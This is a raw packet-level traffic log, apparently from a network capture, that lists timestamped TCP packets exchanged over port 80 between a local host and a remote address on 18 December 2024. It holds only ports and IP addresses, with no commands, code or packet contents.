Dec 18, 2024 12:00:16.054982901 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.056267023 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.056348085 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.056765079 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.056765079 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.058171988 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.058336973 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.058336973 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.058393955 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.059998989 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.060066938 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.060084105 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.060425997 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.061830044 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.061892033 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.061969995 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.062041044 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.063757896 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.063771963 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.063815117 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.065785885 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.065901995 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.066174030 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.066257954 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.067608118 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.067701101 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.067816973 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.067864895 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.069355011 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.069369078 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.069506884 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.071227074 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.071239948 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.071300983 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.073084116 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.073278904 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.073338985 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.074947119 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.075087070 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.075109959 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.075133085 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.076814890 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.076916933 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.076982975 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.077075005 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.078686953 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.078757048 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.079082966 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.079349041 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.080634117 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.080725908 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.080857992 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.081065893 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.082403898 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.082418919 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.082521915 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.082521915 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.084419012 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.084441900 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.084497929 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.084497929 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.086153030 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.086219072 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.086354971 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.086415052 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.088366985 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.088380098 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.088438034 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.089998960 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.090013027 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.090122938 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.091774940 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.091787100 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.091873884 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.093689919 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.093704939 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.093791008 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.095540047 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.095753908 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.095817089 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.095817089 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.097368002 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.097413063 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.097507954 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.099275112 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.099392891 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.099415064 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.099822044 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.101202965 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.101259947 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.101377010 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.101448059 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.102972984 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.103106022 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.103333950 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.103753090 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.104891062 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.104906082 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.105032921 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.106836081 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.106966019 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.106983900 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.107047081 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.108717918 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.108741045 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.108927965 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.110685110 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.110699892 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.110764027 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.112373114 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.112559080 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.112582922 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.112597942 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.114217997 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.114283085 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.114285946 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.114331007 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.116106033 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.116152048 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.116230011 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.117924929 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.118031979 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.118531942 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.118593931 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.119816065 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.119828939 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.119878054 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.121737957 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.121786118 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.121819019 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.121870041 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.123647928 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.123775959 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.123827934 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.125449896 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.125643015 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.125685930 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.125720978 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.127329111 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.127407074 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.127415895 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.127590895 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.129168034 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.129182100 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.129251003 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.129251003 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.131036043 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.131136894 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.131278038 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.131365061 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.132926941 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.132939100 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.133374929 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.134779930 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.134848118 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.134851933 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.135024071 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.136588097 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.136842966 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.208195925 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:16.208297968 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:16.230849981 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.230995893 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.231005907 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.231303930 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.231738091 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.231750965 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.231811047 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.231811047 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.233592987 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.233722925 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.233737946 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.233782053 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.235059977 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.235160112 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.235246897 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.236730099 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.236787081 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.236800909 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.237112045 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.238380909 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.238454103 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.238847971 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.238892078 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.240048885 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.240227938 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.240267038 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.240267992 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.241707087 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.241791010 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.242208958 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.242367983 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.243288994 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.243355989 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.243603945 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.243665934 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.244815111 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.245157957 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.245177984 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.246371031 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.246376991 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.246865988 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.246910095 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.246910095 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.247898102 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.247961998 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.248270035 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.248833895 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.249453068 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.249521017 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.249619961 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.249700069 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.250967979 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.251034021 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.251555920 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.251636028 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.252542973 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.252584934 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.252593994 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.252640963 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.253963947 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.254065037 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.254153967 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.254224062 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.255393982 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.255449057 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.255551100 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.255717993 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.256920099 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.257023096 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.257031918 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.257271051 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.258460045 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.258630037 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.258671045 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.258671045 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.259849072 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.260016918 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.260032892 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.260140896 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.261188030 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.261264086 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.261306047 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.261306047 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.262600899 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.262718916 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.263145924 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.263250113 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.264106989 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.264272928 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.264275074 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.264332056 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.265700102 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.265712023 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.265750885 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.265769005 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.266920090 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.267018080 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.267041922 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.267056942 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.268381119 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.268392086 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.268451929 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.269773006 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.269869089 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.269969940 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.269969940 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.271255970 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.271337032 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.271389008 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.271492004 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.272785902 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.272833109 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.272907019 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.272907019 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.274131060 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.274158001 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.274223089 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.274223089 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.275614023 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.275744915 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.275768042 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.276150942 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.277179003 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.277240992 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.277246952 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.277292013 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.278368950 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.278445959 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.278492928 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.278852940 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.279870033 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.279881954 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.279915094 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.279932022 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.281249046 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.281261921 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.281331062 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.281331062 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.282692909 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.282764912 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.282850981 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.283334970 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.284200907 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.284274101 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.284307957 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.284405947 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.285526991 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.285602093 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.285675049 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.285741091 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.287094116 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.287106037 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.287152052 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.288553953 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.288567066 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.288625956 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.288625956 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.289820910 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.289832115 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.289880037 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.289880037 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.291270018 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.291331053 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.291349888 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.291384935 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.292680979 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.292705059 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.292758942 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.294173002 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.294190884 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.294240952 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.294240952 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.295556068 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.295627117 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.295650959 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.295706034 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.297101974 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.297213078 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.297285080 CET	80	49930	185.215.113.36	192.168.2.6
